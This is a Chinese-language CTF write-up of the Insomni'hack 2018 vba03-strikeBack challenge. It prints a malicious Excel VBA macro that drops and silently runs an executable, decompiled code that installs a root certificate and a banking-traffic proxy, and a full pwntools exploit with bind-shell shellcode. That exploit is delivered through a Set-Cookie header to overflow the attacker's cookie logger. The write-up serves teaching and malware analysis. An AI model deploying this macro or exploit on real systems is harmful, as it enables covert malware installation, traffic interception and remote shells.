ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack

阅读量759373

|

发布时间 : 2019-10-22 16:30:00

 

这是 Insomni’hack 2018 vba 系列题目的第三题,而且 ctftime 上也没有 writeup,所以我就试着解了一下,结果服务器好像关了导致没办法继续做下去,所以只能顺着官方的文件做题了…

 

逆向分析

题目给了一个压缩包,密码是 “infected” (好像老外分享病毒的时候都在使用这个密码),解压得到一个 xls 表格,名字是 “VBA03 – Bitcoin value prediction 2.xls”,一解压出来火绒就报毒了,说是宏病毒,那就拿 oletools 工具包分析下。使用 olevba 分析如下,看来这个 “Sheet1.cls” 问题很大。

PS vba03> olevba -a '.VBA03 - Bitcoin value prediction 2.xls'
olevba 0.54.2 on Python 3.6.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .VBA03 - Bitcoin value prediction 2.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
+----------+-------------+---------------------------------------------+
|Type      |Keyword      |Description                                  |
+----------+-------------+---------------------------------------------+
|AutoExec  |Auto_Open    |Runs when the Excel Workbook is opened       |
|AutoExec  |Workbook_Open|Runs when the Excel Workbook is opened       |
|Suspicious|Environ      |May read system environment variables        |
|Suspicious|Open         |May open a file                              |
|Suspicious|Put          |May write to a file (if combined with Open)  |
|Suspicious|Binary       |May read or write a binary file (if combined |
|          |             |with Open)                                   |
|Suspicious|Shell        |May run an executable file or a system       |
|          |             |command                                      |
|Suspicious|vbHide       |May run an executable file or a system       |
|          |             |command                                      |
|Suspicious|Xor          |May attempt to obfuscate specific strings    |
|          |             |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings  |Hex-encoded strings were detected, may be    |
|          |             |used to obfuscate strings (option --decode to|
|          |             |see all)                                     |
+----------+-------------+---------------------------------------------+

继续使用 oletools ,使用命令olevba -c '.VBA03 - Bitcoin value prediction 2.xls'得到 “Sheet1” 的 vba 代码。

Sub Auto_Open()
    Predict ("Sheet1")
End Sub
Sub Workbook_Open()
    Predict ("Sheet1")
End Sub

Private Function Predict(ByVal z As String) As String

    Dim zzzz As String
    zzzz = "bot.txt"
    Dim zzzzz As String
    zzzzz = Environ("TEMP")
    ChDrive (zzzzz)
    Dim zzzzzz As Integer
    ChDir (zzzzz)
    zzzzzz = FreeFile()
    Dim zzzzzzz As Integer
    Dim zz As Integer
    zz = 4
    Open zzzz For Binary As zzzzzz
    Dim zzz As Worksheet
    On Error GoTo e
    Set zzz = Worksheets(z)
    zzzzzzz = 1
    Do While zzz.Columns(zzzzzzz).Cells(zz, (5 / 3)).Value <> ""
        Do While zzz.Columns(zzzzzzz).Cells(zz, (111 / 91)).Value <> ""
            Put #zzzzzz, , CByte(zzz.Columns(zzzzzzz).Cells(zz, (6471 / 4911)).Value Xor (41 * 2 + 3))
            zzzzzzz = zzzzzzz + (816917 / 679142)
        Loop
        zz = zz + Sqr(2)
        zzzzzzz = 1
    Loop
    Close #zzzzzz
    zzzzzzzz = Shell(zzzz, vbHide)
    Exit Function
e:
    MsgBox "Unable to predict the future"
    Exit Function
End Function

分析上图的 vba 代码可以发现可疑代码zzzzz = Environ("TEMP"); ChDrive (zzzzz); ChDir (zzzzz)将目录切换到了%TEMP%目录下,zzzz = "bot.txt"; Open zzzz For Binary As zzzzzz则是在%TEMP%目录下新建了名字为bot.txt的可疑文件,最好使用Shell()函数执行该文件。

我们在虚拟机下装了个精简版本 office 并且使用 procmon 盯着 EXCEL.exe 的文件操作,发现 EXCEL.exe 在 “C:Users{用户名}AppDataLocalTemp” 下创建并写入了 “bot.txt” 文件。我们将此文件复制到主机上分析,发现该程序加了魔改过的 UPX 壳,使用 ESP 定律脱壳后查看相应 strings 找到位于 0x00F91050 (有ASLR)的关键函数。可以看到程序先检查了程序是否以管理员权限运行,然后再安装了一个 ROOT CA 证书来监视 https 连接,最后以 “fxp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac” 这个文件设置了 http 代理。

一分钟上手的 ESP 定律:1. 先单步找到最近的 PUSHAD。2. 执行完该 PUSHAD后对 ESP 所指内存下访问断点。3. 继续执行(gdb: continue, x64dbg: F9)。4. 断点被触发,查找当前 EIP 附近的是否有跳转到较远位置的 jmp,如果有的话,跳转位置就为 OEP。

_DWORD *MainFunc()
{
  int v0; // esi
  HANDLE v1; // eax
  HCERTSTORE v2; // eax
  _DWORD *result; // eax
  int Buffer; // [esp+4h] [ebp-24h]
  int v5; // [esp+8h] [ebp-20h]
  int v6; // [esp+Ch] [ebp-1Ch]
  _DWORD *v7; // [esp+14h] [ebp-14h]
  HANDLE TokenHandle; // [esp+18h] [ebp-10h]
  int TokenInformation; // [esp+1Ch] [ebp-Ch]
  DWORD ReturnLength; // [esp+20h] [ebp-8h]

  v0 = 0;
  TokenHandle = 0;
  v1 = GetCurrentProcess();
  if ( OpenProcessToken(v1, 8u, &TokenHandle) )
  {
    ReturnLength = 4;
    if ( GetTokenInformation(TokenHandle, (TOKEN_INFORMATION_CLASS)20, &TokenInformation, 4u, &ReturnLength) )
      v0 = TokenInformation;                    // check Administrator
  }
  if ( TokenHandle )
    CloseHandle(TokenHandle);
  if ( v0 )
  {
    v2 = CertOpenStore((LPCSTR)0xA, 0, 0, 0x20000u, L"ROOT");
    if ( !v2 )
      sub_F91000((unsigned int)"Error 1");
    if ( !CertAddSerializedElementToStore(v2, " ", 0x411u, 3u, 0, 2u, 0, 0) )// install root ca
      sub_F91000((unsigned int)"Error 2");
  }
  Buffer = 20;
  v5 = 0;
  v6 = 2;
  result = sub_F911E6(0x18u);
  v7 = result;
  if ( result )
  {
    *result = 1;
    v7[1] = 4;
    v7[3] = 4;
    v7[4] = "ftp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac";
    if ( !InternetSetOptionA(0, 0x4Bu, &Buffer, 0x14u) )// set http proxy
      sub_F91000((unsigned int)"Error 3");
    result = (_DWORD *)1;
  }
  return result;
}

这时候因为服务器炸了就没办法继续分析下去了…所以求助官方 WP 找到了autoconf.pac,经过https://beautifier.io/美化后代码如下。可以看出这个规则是在匹配带有bank字符串的网址,如果带有bank,就使用代理监听,以窃取机密。

突然想起来国内银行的网上银行一般使用自己的英文名字缩写,不带 bank 字符串…

function FindProxyForURL(_0x8d97x2, _0x8d97x3) {
    if (shExpMatch(_0x8d97x2, '*bank*')) {
        return 'PROXY dr-evil.insomni.hack:6666'
    }
}

 

一 转 攻 势

可以看到程序暴露了 “dr-evil.insomni.hack:6666” 这个代理服务器,和 “fxp://dr-evil:Mwahahaha_666!(at)dr-evil.insomni.hack” 这个文件服务器。

题目的本意叫我们黑掉这个服务器拿到 flag,但是服务器关了怎么黑(我宁愿关站也不做等保测评.html)。所以只能顺着官方给出的文件https://github.com/Insomnihack/Insomnihack-2018/tree/master/StrikeBack/Mitmdump,可以看到 “cookie_logger.c” 和 “mitmdump_script.py” 文件。”mitmdump_script.py” 是一个代理,当发现回复中带有 “Set-Cookie” 字段时候调用 “cookie_logger” 记录下 cookie。下面是 “cookie_logger” 源代码。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

/*
 * Mwahahaha!
 *
 * This scirpt log the cookie recieved from the Set-Cookie of HTTP responses!
 *
 * Example usage:
 * ./cookie_logger "www.npb-bank.ch" "PHPSESSID=0ae08d562bc9a5ab9ab9c737810c6d1a; path=/"
 *
 * [X] TODO_1: i tested it and it logs my own cookies! redact them
 * [X] TODO_2: someone told me they're is a bufer over flaw in the fix of TODO_1?! fix it azap
 * [ ] TODO_3: make it gooder (curently its only working with < 512 chars
 */

// fix for TODO_1, tested working
char* redact(char *buf, char *to_redact) {
  char redacted[512];
  if(strstr(to_redact,"dr-evil"))
    strcpy(redacted,"[REDACTED]");
  else {
    strcpy(redacted,to_redact);
  }
  strncpy(buf,redacted,512);//fixed the buf over flaw! (TODO_2)
  return buf;
}

// Main
int main(int argc, char **argv)
{
  char cookie[512];
  char host[512];

  //build the csv with a timestamp
  printf(""%ld","%s","%s"n",time(NULL),redact(host,argv[1]),redact(cookie,argv[2]));
}

一眼就能看到这两个strcpy()有问题…还有这个注释 “[ ] TODO_3: make it gooder (curently its only working with < 512 chars”更是明确了问题。接下来就是下载文件进行分析了。可以看到保护全部没开。那就好办了。

[*] '/vb03/cookie_logger'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

注意!我拿着官方给的”cookie_logger”二进制文件试图构造利用链,但是发现带 0 字符的字符串是不能作为程序的参数传入的,也就是说如果源程序是 64 位的话,地址是传不进去的,那就无法构造利用链…然后我看了看官方 WP 里的地址长度,是 4 字节长…可能是官方放错文件了吧。

所以我就用gcc -m32 cookie_logger.c -o cookie_new -O0 -fno-stack-protector -z execstack -no-pie再编译了一个 “cookie_logger”。

官方 WP 用一组命令来实现定位溢出点。

$ ./cookie_logger "www.example.com" "$(/usr/bin/msf-pattern_create --l 528)"
Segmentation fault
$ dmesg | tail -1
[309881.352326] cookie_logger[32684]: segfault at 35724134 ip 0000000035724134 sp 00000000ff90bce0 error 14
$ /usr/bin/msf-pattern_offset -q 35724134
[*] Exact match at offset 524

我比较土,用 pwntools 的 cyclic 和 gdb 来定位溢出点,不过原理是一样的,查看 ret 的地址,再配合 pwntools 的 cyclic_find 函数即可确定溢出位置。

$ python -c "from pwn import *; print(cyclic(600, n=4))"
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf
$ gdb cookie_new
pwndbg> set args 2 aaaa...
pwndbg> r
Program received signal SIGSEGV, Segmentation fault.
0xf7e64900 in ?? () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────[ REGISTERS ]────────
 EAX  0x66616168 ('haaf')
 EBX  0x200
 ECX  0x0
 EDX  0x0
 EDI  0x66616168 ('haaf')
 ESI  0xffffc990 ◂— 0x61616161 ('aaaa')
 EBP  0xffffcb98 ◂— 'faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
 ESP  0xffffc970 —▸ 0xf7fae000 ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
 EIP  0xf7e64900 ◂— movdqu xmmword ptr [edi], xmm1
─────────[ DISASM ]─────────
 ► 0xf7e64900    movdqu xmmword ptr [edi], xmm1
   0xf7e64904    pmovmskb edx, xmm0
   0xf7e64908    cmp    ebx, 0x21
   0xf7e6490b    jbe    0xf7e64b20
    ↓
   0xf7e64b20    add    edi, 0x10
   0xf7e64b23    add    esi, 0x10
   0xf7e64b26    sub    ebx, 0x10
   0xf7e64b29    test   edx, edx
   0xf7e64b2b    jne    0xf7e64a9b
─────────[ STACK ]──────────
00:0000│ esp  0xffffc970 —▸ 0xf7fae000 ◂— insb   byte ptr es:[edi], dx /* 0x1d9d6c */
01:0004│      0xffffc974 —▸ 0xffffcfe0 ◂— 0x3
02:0008│      0xffffc978 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— add    dword ptr [eax], eax
03:000c│      0xffffc97c —▸ 0x804921b (redact+121) ◂— add    esp, 0x10
04:0010│      0xffffc980 ◂— 0x66616168 ('haaf')
Program received signal SIGSEGV (fault address 0x66616168)
$ python -c "from pwn import *; print(cyclic_find(0x66616168, n=4))"
528

然后就是看看 ROPgadget 来构造利用链了,由于保护全关,所以使用 shellcode 是最简单的,于是我们用 ROPgadget 找到了 “call eax” 这个 gadget。

$ ROPgadget --binary cookie_new | grep 'call'
0x08049019 : call eax

但是我们可控输入的位置是未知的,而且好像还没相关函数进行泄露,所以我们再用 ROPgadget 看看 eax 是否可控。看到两个 gadgets。

$ ROPgadget --binary cookie_new | grep 'mov eax'
0x0804921c : les edx, ptr [eax] ; mov eax, dword ptr [ebp + 8] ; mov ebx, dword ptr [ebp - 4] ; leave ; ret
0x0804921e : mov eax, dword ptr [ebp + 8] ; mov ebx, dword ptr [ebp - 4] ; leave ; ret

我们用 IDA 看到 0x0804921e 附近是什么,可以看到 IDA 贴心的告诉我们 0x0804921e 这个 gadget 是将redact的第一个参数作为返回值赋值给了 eax。由于溢出点在redaxt()函数,eax 所指向的内容可控。所以我们将 shellcode 作为redact第一个参数中即可让 shellcode 执行。

.text:080491A2 arg_0           = dword ptr  8
.text:08049204                 sub     esp, 4
.text:08049207                 push    200h            ; n
.text:0804920C                 lea     eax, [ebp+dest]
.text:08049212                 push    eax             ; src
.text:08049213                 push    [ebp+arg_0]     ; dest
.text:08049216                 call    _strncpy
.text:0804921B                 add     esp, 10h
.text:0804921E                 mov     eax, [ebp+arg_0]
.text:08049221                 mov     ebx, [ebp+var_4]
.text:08049224                 leave
.text:08049225                 retn

结合上面的思路,使用生成正向 shell 的 shellcode 构造如下 payload。在本机上用nc 127.0.0.1 12345连接成功。

from pwn import *

context.log_level = 'debug'

callRax = 0x08049019
# msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp LPORT=12345 --bad-chars ";nrx0ax00" -f py
shellcode =  ""
shellcode += "xbdxa1x29x4fx31xdaxd1xd9x74x24xf4x5fx2b"
shellcode += "xc9xb1x14x83xc7x04x31x6fx10x03x6fx10x43"
shellcode += "xdcx7exeax74xfcxd2x4fx29x69xd7xc6x2cxdd"
shellcode += "xb1x15x2ex45x60xf4x46x78x9cxc8xafx16x8c"
shellcode += "x79x9fx6fx4dx13x79x28x43x64x0cx89x5fxd6"
shellcode += "x0axbax06xd5x92xf9x76x83x5fx7dxe5x15x35"
shellcode += "x41x52x6bx49xf4x1bx8bx21x28xf3x18xd9x5e"
shellcode += "x24xbdx70xf1xb3xa2xd2x5ex4dxc5x62x6bx80"
shellcode += "x86"
padding = 'A' * (524 - len(shellcode))
payload = shellcode + padding + p32(callRax)
log.info('len of payload: {}'.format(len(payload)))
argvs = ['./cookie_new', 'http://www.bank.com', payload]
r = process(argv=argvs)
#gdb.attach(r, gdbscript=script)
r.interactive()

接下来就是搭建一个假服务器,服务器的返回中带有恶意的”Set-Cookie”字段,最后使用恶意代理访问来 get 恶意代理的 shell。假的服务器文件如下,使用python {假的服务器文件名} | nc -nlvp 80搭建一个简单的服务器,然后使用dr-evil.insomni.hack:6666这个代理访问假服务器,就能拿到一个正向 shell。

这里图方便使用了正向 shell,但是正向 shell 一般会被防火墙拦截,所以使用反向 shell 是最合适的。

from pwn import *

context.log_level = 'debug'

callRax = 0x08049019
# msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp LPORT=12345 --bad-chars ";nrx0ax00" -f py
shellcode = ""
shellcode += "xbdxa1x29x4fx31xdaxd1xd9x74x24xf4x5fx2b"
shellcode += "xc9xb1x14x83xc7x04x31x6fx10x03x6fx10x43"
shellcode += "xdcx7exeax74xfcxd2x4fx29x69xd7xc6x2cxdd"
shellcode += "xb1x15x2ex45x60xf4x46x78x9cxc8xafx16x8c"
shellcode += "x79x9fx6fx4dx13x79x28x43x64x0cx89x5fxd6"
shellcode += "x0axbax06xd5x92xf9x76x83x5fx7dxe5x15x35"
shellcode += "x41x52x6bx49xf4x1bx8bx21x28xf3x18xd9x5e"
shellcode += "x24xbdx70xf1xb3xa2xd2x5ex4dxc5x62x6bx80"
shellcode += "x86"
padding = 'A' * (524 - len(shellcode))
payload = shellcode + padding + p32(callRax)

print("HTTP/1.1 200 OK")
print("Date: Mon, 27 Jul 2009 12:28:53 GMT")
print("Server: Apache/2.2.14 (Win32)")
print("Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT")
print("Content-Length: 52")
print("Content-Type: text/html")
print("Connection: Closed")
print("Set-Cookie: " + payload)
print("")
print("<html>")
print("<body>")
print("<h1>Hello, World!</h1>")
print("</body>")
print("</html>")
print("")
print("")

 

总结

这个 ctf 题除了最后黑吃黑部分之外,其他都贴近日常的病毒分析,包括 vba 宏分析,脱壳,分析恶意代码逻辑,信息收集等。所以写文记录。

 

refs

https://github.com/Insomnihack/Insomnihack-2018/tree/master/StrikeBack

https://blog.scrt.ch/2018/05/04/insomnihack-2018-vba03-strikeback-writeup/

本文由chen_null原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/187887

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
chen_null
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66